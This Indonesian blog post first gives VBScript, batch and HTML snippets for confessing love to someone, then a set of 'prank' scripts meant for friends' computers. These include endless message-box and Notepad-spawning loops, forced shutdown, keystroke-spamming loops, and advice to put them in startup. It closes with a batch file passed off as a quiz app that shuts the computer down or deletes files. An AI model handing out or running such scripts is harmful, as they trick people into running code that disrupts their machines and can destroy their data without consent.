d | testblogkosong

Apakah Anda pernah berpikir untuk nembak cewek/cowok yang Anda sukai dengan melalui media komputer ?? pasti iya kan, tapi bagi anda yang tidak pernah menggunakan script mungkin hal ini yang sangat sulit untuk di lakukan. Rumit dan pasti kalo error akan tambah galau, gak jadi nembak malah bikin galau -__-

Nah, kali ini saya akan membagi cara yang mudah untuk nembak cewe/cowok yang Anda sukai itu dengan cara yang sangat simple, yaitu dengan hanya bermodalkan notepad dan sedikit bumbu-bumbu script pemrograman.
berikut ada beberapa script yg bisa digunakan

Dim Jika
Jika = InputBox (" Isikan kata-kata untuk nembak cewek/cowok yang Anda sukai ")
If UCase(Jika) = " isikan kata-kata yang menyatakan persetujuan, contoh : IYA(harus huruf besar)" Then
MsgBox " isikan kata-kata jika cewek/cowok yang Anda suka mengisikan kata persetujuan pada kotak dialog"
ElseIf UCase(Jika) = " isikan kata-kata yang menyatakan penolakan, contoh : TIDAK(harus huruf besar)" Then
MsgBox " isikan kata-kata jika cewek/cowok yang Anda suka mengisikan kata penolakan pada kotak dialog"
Else
MsgBox " isikan kata-kata yang jika cowok/cewek yang Anda sukai tidak menyatakan persetujuan/penolakan "
End If

simpan dengan format .vbs

Dim Jika
Jika = InputBox ("Eh,, tau nggak? Aku tu sebenernya dari dulu aku suka sama kamu. Kamu mau gak jadi pacarku? Ketik 'Y' kalo kamu mau, ato ketik 'T' kalo kamu nolak aku :( ")
If UCase(Jika) = "Y" Then
MsgBox "Aku pengen kita langgeng ~^_^~ "
ElseIf UCase(Jika) = "T" Then
MsgBox "Aku gak akan nyerah buat dapetin kamu!"
Else
MsgBox "Kamu salah tulis sayang, cuma bisa ketik Y ato T.. "
End If

simpa dgn .vbs

@ECHO off
:Begin
msg * hai...
msg * maaf kalau pesan ini agak membuatmu kaget...
msg * tapi bukan tujuanku untuk membuatmu kaget...
msg * sebenernya dari dulu ingin ku katakan perasaan ini yang gak berani ku katakan...
msg * bahwa aku....

msg * sayang...

msg * kamu...

msg * mau gak kamu terima cintaku ini ??

msg * walau sampai seribu tahun, akan ku tunggu jawabanmu...

GOTO BEGIN

simpan dgn.bat

Dim Jika
Jika = InputBox ("F** aku sayang bnget sama kamu, tapi kamu udah punyak T sekarang :(, tapi yng pasti ini aku buat cuman buat buktiin kalo aku sayang bnget sama kamu. Sekarang kamu plih si * apa si T f** ?? :D ketik * or T, lalu klik ok ^_^ ")
If UCase(Jika) = "*" Then
MsgBox "I Love You sayank, mmwah ~^_^~"
ElseIf UCase(Jika) = "T" Then
MsgBox "Never To Give Up ^_^"
Else
MsgBox "Pilihan hanya '*' untuk ya atau 'T' untuk tidak "
End If

.vbs

<html>
<head>
<title>Kunyatakan Cinta <3 </title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta name="author" content="http://www.javascriptbank.com/" />
<meta name="distribution" content="Global" />
<meta name="copyright" content="JavaScriptBank.com" />
<script type="text/javascript">
fl=1
function f1()
{
alert("Makasih yaaa... tolong kirim sms ke aku yaa... ")}
function f(){
if(fl==1)
{

Bn.style.top=90
Bn.style.left=500
fl=2
}
else if(fl==2)
{
Bn.style.top=90
Bn.style.left=50
fl=3
}
else if(fl==3)
{
Bn.style.top=235
Bn.style.left=360
fl=1
}
}
</script>
<style type="text/css">

</style></head>
<body>

<div id="By" style="position:absolute; left:615px; top:380px; width:50px;height:198px;">

<input type="button" value=" YES " onClick="f1()" />
</div>
<div ID="Bn" style="position:absolute; left:688px; top:380px; width:210px; height:210px;">
<input name="button" type="button" onMouseOver="f()" value=" NO " />
</div>

<p align="center" class="style1">WAJAHMU BAGAI SINAR REMBULAN YANG MENYINARI HATIKU *_*</p>
<hr> <hr>
<p align="center" class="style2">Sejak Pertama Mengenalmu,betapa senang hatiku..!!</p>
<p align="center" class="style2">Tapi rasaku ini t' pernah sampai kehatimu dengan nyali dan lisan yang kupunya</p>
<p align="center" class="style2">Dan sebenarnya rasa ini t' pernah bohong untuk memungkiri semua ini</p>
<p align="center" class="style2">Dari itu kubuat design web ini untuk menyuntikan script ini kelubuk hatimu </p>
<p align="center" class="style2">Sekarang waktunya kusampaikan itu...</p>
<p align="center" class="style2">Aku suka kamu dan aku sayang kamu</p>
<div align="center" class="style3">MAUKAH KAU JADI KEKASIH HATIKU ?????
</div>
<p class="style1">  </p>
<p> </p>
</BODY>

</html>

simpan dengan.html

Bikin 9 script Buat Iseng Pada Teman

Terinspirasi dari kompinya sobat yang bisa yg bikin cd/dvd eject mlulu....
kali ini lughot pengen share script2 lain yg lumayan ngeselin orang...
dan ada yang berguna juga tergantung gimana temen2 modif kata2 nya
bisa di kombinasiin sendiri yah....misal nya di taruh di startup..

buka notepad lalu copy paste script di bawah.....

1.message yang nongol melulu

@ECHO off
:Begin
msg * muka lo jelek
msg * ngaca dulu gih
msg * hayo lo,cpu lu gw acak2
msg * ud install ulang aja
msg * biar masalah nya kelar
GOTO BEGIN

save namafile.BAT
ket:
walaupun di kill task manager,masih tetep nongol message nya
kata2 nya bisa diganti sesuai selera masing2...
apalagi yg sedang jatuh cinta...kasih tuh ke gebetan lu...
di kirain cinta gila...

2.bikin shutdown+message

@echo off
msg * apaan sih lo
shutdown -s -c "Error! muka mu standar abis"

save namafile.BAT

3.Mainin Caps Lock button

Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop

save namafile.vbs

4.buka tutup CD/DVD

Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

save namafile.vbs
ampir mirip ama punya nya habs

5.bikin vbscript nongol mlulu

Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop

save namafile.vbs
ket:di task manager full wscript yg lg running

6.teken tombol backspace mlulu

MsgBox "kembali ke menu sebelumnya"
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop

save namafile.vbs

7.otomatis ngetik "lu jelek banget sih" di notepad/word

Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "lu jelek banget sih!!!"
loop

save namafile.vbs

8.buka notepad trus menerus

@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top

save namafile.BAT
ket:termasuk yang ngeselin banget nih
bisa di ganti,terserah mau buka cmd ato buka yg lain..ganti aja dir nya.

9.otomatis buka notepad lalu ngetik apa yg lo mau

WScript.Sleep 1800
WScript.Sleep 100
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 10
WshShell.AppActivate "Notepad"
WScript.Sleep 50
WshShell.SendKeys "ka"
WScript.Sleep 50
WshShell.SendKeys "mu "
WScript.Sleep 50
WshShell.SendKeys "je"
WScript.Sleep 50
WshShell.SendKeys "le"
WScript.Sleep 50
WshShell.SendKeys "k "
WScript.Sleep 50
WshShell.SendKeys " se"
WScript.Sleep 50
WshShell.SendKeys "ka"
WScript.Sleep 50
WshShell.SendKeys "li"
WScript.Sleep 50
WshShell.SendKeys " y"
WScript.Sleep 50
WshShell.SendKeys "a"
WScript.Sleep 50
WshShell.SendKeys " h"
WScript.Sleep 50
WshShell.SendKeys "!"
WScript.Sleep 50
WshShell.SendKeys "!! "

save namafile.vbs
ket:
ini salah satu script favorit salah satu sobat lughot...dulu pernah digunakan buat nembak cewek pake cara ini..
dia rangkai pake kata2nya...trus durasi ngetik nya juga di lambatin...
nama file nya isihatiku.vbs..
angka2 di atas bisa di modif sendiri (durasi nongol notepad/ngetiknya)

Tambahan :
dari script diatas sobat-sobat bisa kembangin aja lagi...misal kayak gini nih

@echo off
title quiz hari ini :)
:menu
cls
echo jika kamu kena virus apa yang kamu lakukan
pause
echo pilih yang mana:
echo 1. matiin computer
echo 2. format aja
echo 3. bingung ahh
set input=nothing
set /p input=Choice:
if %input%==1 shutdown -s -t 30
if %input%==2 del c:\xxx
if %input%==3 @ECHO off
msg * muka lo jelek
msg * ngaca dulu gih
msg * hayo lo,cpu lu gw acak2
msg * ud install ulang aja
msg * biar masalah nya kelar
@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top

nah script diatas save jadi quiz.bat kasih ke temen..
pura2 aj bilang ad aplikasi kuis...
ket di atas :
kalo pilih 1.otomatis matiin computer
2.format file (terserah file apaan ganti aj dir nya)
3.sama aj kayak pilihan 1
kata2 di atas di ganti2 aj sesuai selera temen2

sekian kumpulan script2 yang jail
selamat mencoba. Jika sobat ingin mendownload semua script diatas udah lughot sediakan. Silakan download disini

Anda sedang membaca artikel tentang d dan anda bisa menemukan artikel d ini dengan url http://testblogkosong.blogspot.com/2013/01/apakah-anda-pernah-berpikir-untuk.html,anda boleh menyebar luaskannya atau mengcopy paste-nya jika artikel d ini sangat bermanfaat bagi teman-teman anda,namun jangan lupa untuk meletakkan link d sumbernya.

testblogkosong

Sabtu, 05 Januari 2013

0 d

Bikin 9 script Buat Iseng Pada Teman

Related Post:

0 komentar:

Posting Komentar

Friend banner

cara membuat ini

My Banner

[ Categories ]

[ Archives ]